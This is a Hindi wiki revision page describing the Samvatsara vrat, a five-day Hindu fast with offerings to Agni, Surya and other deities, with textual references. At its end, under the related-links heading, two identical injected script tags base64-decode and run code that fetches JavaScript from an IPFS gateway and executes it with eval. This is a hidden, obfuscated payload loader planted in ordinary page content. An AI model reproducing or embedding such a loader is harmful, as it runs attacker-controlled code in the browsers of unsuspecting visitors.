शिल्पी गोयल (वार्ता | योगदान) छो (संवत्सरव्रत का नाम बदलकर संवत्सर व्रत कर दिया गया है) |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "==संबंधित लिंक==" to "==सम्बंधित लिंक==") |
||
पंक्ति 18: | पंक्ति 18: | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
== | ==सम्बंधित लिंक== | ||
{{पर्व और त्योहार}} | {{पर्व और त्योहार}} | ||
{{व्रत और उत्सव}} | {{व्रत और उत्सव}} |
11:48, 11 सितम्बर 2010 का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- चैत्र शुक्ल पक्ष पर संवत्सरव्रत आरम्भ होता है।
- संवत्सरव्रत पाँच दिनों तक रखा जाता है।
- संवत्सरव्रत में अग्नि, सूर्य, सोम, प्रजापति एवं महेश्वर को एक युग के पाँच वर्षों के रूप में माना गया है, यथा–संवत्सर, इष्टापूर्त (इदावत्सर), अनुवत्सर एवं उद्धत्सर।
- उन्हें एक मण्डल में क्रम से होम करना चाहिए।
- संवत्सरव्रत में पाँच दिनो तक नक्त रहना चाहिए।
- अन्त में 5 सुवर्णों का दान करना चाहिए।
- यह पंचमूर्तिव्रत है।[1]
- वैदिक साहित्य में एक युग के पाँच वर्षों को विभिन्न नाम दिये गये हैं।[2]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ हेमाद्रि (व्रत खण्ड 2, 409-420, विष्णुधर्मोत्तरपुराण से उद्धरण)
- ↑ अथर्ववेद (6|55|3); तैत्तिरीय संहिता (5|7|2-3); तैत्तिरीय संहिता ब्राह्मण (1|4|10|1)।
सम्बंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>